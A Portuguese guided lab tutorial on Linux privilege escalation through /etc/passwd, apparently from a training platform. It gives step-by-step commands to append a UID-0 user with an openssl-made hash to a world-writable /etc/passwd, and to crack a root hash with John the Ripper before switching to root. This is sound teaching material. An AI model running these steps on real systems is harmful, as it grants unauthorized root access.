Explore Escalonamento de Privilégios via Arquivo /etc/passwd no Nmap

Beginner

Introdução

Os arquivos /etc/passwd e /etc/shadow são cruciais para a autenticação de usuários em sistemas Linux. Se os administradores de sistema configurarem incorretamente o conteúdo ou as permissões desses arquivos, isso pode levar a vulnerabilidades de escalonamento de privilégios. Neste laboratório, exploraremos métodos para escalonamento de privilégios explorando o arquivo /etc/passwd.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível intermediário com uma taxa de conclusão de 76%. Recebeu uma taxa de avaliações positivas de 97% dos estudantes.

Entendendo o Arquivo /etc/passwd

Nesta etapa, exploraremos a estrutura e o significado do arquivo /etc/passwd.

Em sistemas Linux, as informações de senha do usuário são armazenadas em dois arquivos: /etc/passwd e /etc/shadow. O arquivo /etc/passwd contém informações do usuário, com cada linha representando uma única conta de usuário. Cada linha é dividida em sete campos separados por dois pontos:

  • Nome de usuário (Username)
  • Senha (se definida como x, a senha é armazenada em /etc/shadow)
  • ID do usuário (UID, 0 para o usuário root)
  • ID do grupo (GID)
  • Informações do usuário (Nome completo, Número da sala, Telefone do trabalho, Telefone residencial e Outros)
  • Diretório home
  • Shell padrão

Agora, abra um terminal e navegue até o diretório /home/labex/project para prosseguir para a próxima etapa.

cd /home/labex/project

Obtenha as informações do usuário labex do arquivo /etc/passwd e salve-as em um arquivo chamado labex_passwd.txt no diretório /home/labex/project.

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

Verifique o conteúdo do arquivo labex_passwd.txt.

cat labex_passwd.txt

Saída esperada:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

Aqui está o que cada campo representa:

  • Nome de usuário: labex
  • Senha: armazenada em /etc/shadow (indicado por x)
  • UID: 5000
  • GID: 5000
  • Informações do usuário: Neste caso, está vazio
  • Diretório home: /home/labex
  • Shell padrão: /usr/bin/zsh

Durante o processo de autenticação Linux, as seguintes etapas ocorrem:

  1. O nome de usuário inserido é verificado em relação ao primeiro campo em cada linha do arquivo /etc/passwd.
  2. Se uma correspondência for encontrada, a senha no segundo campo é comparada.
  3. Após a autenticação bem-sucedida, as permissões do usuário são determinadas pelo UID (terceiro campo) e GID (quarto campo).
  4. Importante, um UID de 0 representa o usuário root, concedendo privilégios administrativos completos, independentemente do nome de usuário.

Como você pode ver, o arquivo /etc/passwd desempenha um papel crucial no processo de autenticação Linux. Se um invasor puder modificar este arquivo, ele poderá obter acesso não autorizado e escalar seus privilégios.

Escalonamento de Privilégios via /etc/passwd (Acesso de Escrita)

Nesta etapa, aprenderemos como escalar privilégios explorando o acesso de escrita ao arquivo /etc/passwd.

  1. Primeiro, vamos configurar o ambiente do laboratório. Abra um terminal e navegue até o diretório /home/labex/project:

    cd /home/labex/project

    execute o seguinte comando para configurar o ambiente do laboratório:

    ./env_setup1.sh

    Este comando executará um script que configura o ambiente do laboratório. Você deve ver uma saída indicando que o ambiente está pronto.

  2. Após a configuração, você estará logado como o usuário user001, simulando um acesso inicial ao shell obtido durante um teste de penetração.

    Navegue até o diretório home do usuário user001:

    cd ~

    Use o comando whoami para verificar seu usuário atual:

    whoami

    Saída esperada:

    user001

    Use o comando id para visualizar seus IDs de usuário e grupo:

    id

    Saída esperada:

    uid=1001(user001) gid=1001(user001) groups=1001(user001)

    Como você pode ver, você é um usuário normal sem nenhum privilégio especial.

  3. Em seguida, verifique as permissões dos arquivos /etc/passwd e /etc/shadow:

    ls -l /etc/passwd /etc/shadow

    Saída esperada:

    --wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
    -rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow

    Observe que o arquivo /etc/passwd tem permissões de execução e escrita para todos os usuários (--wx--xrwx), o que é uma configuração incorreta pelo administrador do sistema.

Nosso objetivo é criar uma nova entrada de usuário no arquivo /etc/passwd com um nome de usuário, senha e um UID de 0 (root) personalizados. Isso nos permitirá fazer login como o usuário root.

  1. Primeiro, vamos examinar o formato da entrada do usuário root no arquivo /etc/passwd extraindo-a para um novo arquivo chamado new_user_entry.txt:

    cat /etc/passwd | grep root > new_user_entry.txt

    Saída esperada quando você usa o comando cat para visualizar o conteúdo do arquivo new_user_entry.txt:

    root:x:0:0:root:/root:/bin/bash
  2. Para criar nossa própria entrada, altere o nome de usuário de root para qualquer nome desejado, como new-user no arquivo new_user_entry.txt:

    new-user:x:0:0:root:/root:/bin/bash
  3. Substitua o x no segundo campo pelo hash da senha criptografada. Podemos usar a ferramenta openssl para gerar o hash para uma senha (por exemplo, pass123):

    openssl passwd -1 -salt ignite pass123

    Saída esperada:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

    Substituindo o hash no segundo campo no arquivo new_user_entry.txt:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  4. Agora, anexe esta linha ao arquivo /etc/passwd:

    echo "$(cat new_user_entry.txt)" >> /etc/passwd

    Observação: Podemos anexar a nova entrada ao arquivo /etc/passwd porque ele tem permissões de escrita para todos os usuários. Em um cenário do mundo real, este arquivo não deve ter permissões de escrita para usuários regulares.

  5. Verifique a nova entrada pesquisando por new-user no arquivo /etc/passwd:

    cat /etc/passwd | grep new-user

    Saída esperada:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  6. Finalmente, mude para o usuário new-user com a senha pass123:

    su new-user

    Digite a senha pass123 quando solicitado. Agora você deve ter privilégios de root, conforme indicado pela mudança no prompt:

    user001@660ecfa4d7612c798ef141ab:~$ su new-user
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Escalonamento de Privilégios via /etc/passwd (Hash de Senha)

Nesta etapa, aprenderemos como escalar privilégios quando o hash da senha do usuário root é armazenado no arquivo /etc/passwd em vez do arquivo /etc/shadow.

  1. Primeiro, vamos configurar o ambiente do laboratório. Abra um terminal e navegue até o diretório /home/labex/project:

    Se você ainda estiver como new-user, pode usar o comando exit para sair do shell atual até chegar ao shell labex, e então navegar até o diretório /home/labex/project:

    cd /home/labex/project

    Execute o seguinte comando para configurar o ambiente do laboratório:

    ./env_setup2.sh

    Este comando executará um script que configura o ambiente do laboratório. Você deve ver uma saída indicando que o ambiente está pronto.

  2. Após a configuração, você estará logado como o usuário user001, simulando um acesso inicial ao shell obtido durante um teste de penetração.

    Navegue até o diretório home do usuário user001:

    cd ~
  3. Verifique as permissões dos arquivos /etc/passwd e /etc/shadow:

    ls -l /etc/passwd /etc/shadow
    -rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
    -rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow

    Desta vez, as permissões do arquivo estão configuradas corretamente, e você só tem acesso de leitura ao arquivo /etc/passwd.

  4. Visualize o conteúdo do arquivo /etc/passwd para encontrar o hash da senha do usuário root:

    cat /etc/passwd | grep ^root > ~/hash.txt

    Verifique o conteúdo do arquivo hash.txt executando o seguinte comando:

    cat ~/hash.txt

    Saída esperada:

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

    Observe que o hash da senha do usuário root é armazenado no segundo campo do arquivo /etc/passwd. Este é geralmente o resultado de uma comprometimento anterior do sistema ou configuração incorreta pelo administrador do sistema.

  5. Agora, execute john para quebrar o hash:

    john ~/hash.txt > ~/cracked.txt

    john é uma ferramenta popular de quebra de senhas que usa ataques de dicionário para quebrar hashes de senhas. A saída indicará se a senha foi quebrada com sucesso.

    Created directory: /home/user001/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Verifique o conteúdo do arquivo cracked.txt para visualizar a senha quebrada:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    hello            (root)

    Como você pode ver, john quebrou com sucesso a senha, que é hello.

  6. Use o comando su para mudar para o usuário root, inserindo a senha quebrada quando solicitado:

    su root

    Digite a senha hello quando solicitado. Agora você deve ter privilégios de root, conforme indicado pela mudança no prompt de comando.

    user001@660ecfa4d7612c798ef141ab:~$ su root
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

Resumo

Neste laboratório, aprendemos sobre o processo de autenticação de usuário Linux, a importância do arquivo /etc/passwd e como explorá-lo para escalonamento de privilégios. Cobrimos dois cenários: (1) quando o arquivo /etc/passwd tem permissões de escrita, permitindo-nos criar uma nova entrada de usuário com privilégios de root, e (2) quando o hash da senha do usuário root é armazenado no arquivo /etc/passwd, permitindo-nos quebrar a senha usando a ferramenta john. Por meio da prática, obtivemos uma compreensão mais profunda de como aproveitar configurações incorretas no arquivo /etc/passwd para escalar privilégios em um sistema Linux.